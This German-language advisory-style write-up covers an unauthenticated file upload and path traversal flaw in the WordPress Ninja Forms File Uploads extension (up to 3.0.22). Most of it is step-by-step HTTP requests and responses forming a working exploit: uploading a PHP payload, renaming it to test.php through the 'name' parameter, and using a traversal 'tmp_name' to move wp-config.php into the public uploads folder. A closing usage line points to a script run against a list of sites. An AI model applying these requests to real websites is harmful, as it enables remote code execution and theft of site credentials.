
(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Nicht authentifizierter Upload beliebiger Dateien
(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Nicht authentifizierter beliebiger Datei-Upload
Path Traversal und uneingeschränkter Datei-Upload existieren im Ninja-Forms-Plugin vor 3.0.23 für WordPress (wenn das Uploads-Add-on aktiviert ist). Dies ermöglicht einem Angreifer, das Dateisystem zu durchlaufen, um auf Dateien zuzugreifen und Code über die Parameter name und tmp_name in includes/fields/upload.php (auch als Upload-/Submit-Seite bekannt) auszuführen.
Erste Datei-Upload-Anfrage:
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522
-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"
1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"
5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"
0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword
<?php phpinfo(); ?>
-----------------------------16345274557837--
Antwort:
HTTP/1.1 200 OK
Server: nginx/1.14.0
"data":{
"files":[
{
"name":"test.png.doc",
"type":"application\/msword",
"tmp_name":"nftmp-14FpD-test.png.doc",
"error":0,
"size":19
}
]
}
Wenn das Formular abgeschickt wird, wird die zunächst hochgeladene tmp-Datei an einen neuen Speicherort verschoben:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.(php)",
"tmp_name":"nftmp-BNxfG-test.png.doc",
"fieldID":5
}
]
--snip--
Der Parameter “name” wird dann durch die WordPress-Funktion sanitize_file_name “bereinigt”, die im Wesentlichen nur eine Reihe vordefinierter Sonderzeichen entfernt:
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file));
sanitize_file_name
Removes special characters that are illegal in filenames
on certain operating systems and special characters
requiring special escaping to manipulate at the command line.
Replaces spaces and consecutive dashes with a single dash.
Trims period, dash and underscore from beginning and end of filename.
It is not guaranteed that this function will return a filename
that is allowed to be uploaded.
https://developer.wordpress.org/reference/functions/sanitize_file_name/
Dies führt dazu, dass die tmp-Datei an ihren endgültigen Speicherort verschoben wird: /wp-content/uploads/ninja-forms/1/test.php
Wenn der Upload-Ordner nicht explizit als nicht ausführbar markiert wurde, was standardmäßig nicht der Fall ist, führt dies zur Code-Ausführung:

Path Traversal in tmp_name:
Beim Absenden des Formulars ist es außerdem möglich, das Dateisystem über den Parameter tmp_name zu durchlaufen, wie unten gezeigt. Beachten Sie, dass tmp-Dateien innerhalb des Uploads-Ordners an ihren neuen Speicherort verschoben werden!
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.doc",
"tmp_name":"../../../../wp-config.php",
"fieldID":5
}
]
--snip--
Dies führt dazu, dass die Datei wp-config.php an den folgenden Speicherort verschoben wird: /wp-content/uploads/ninja-forms/1/test.doc
USAGE: python script.py list-site.txt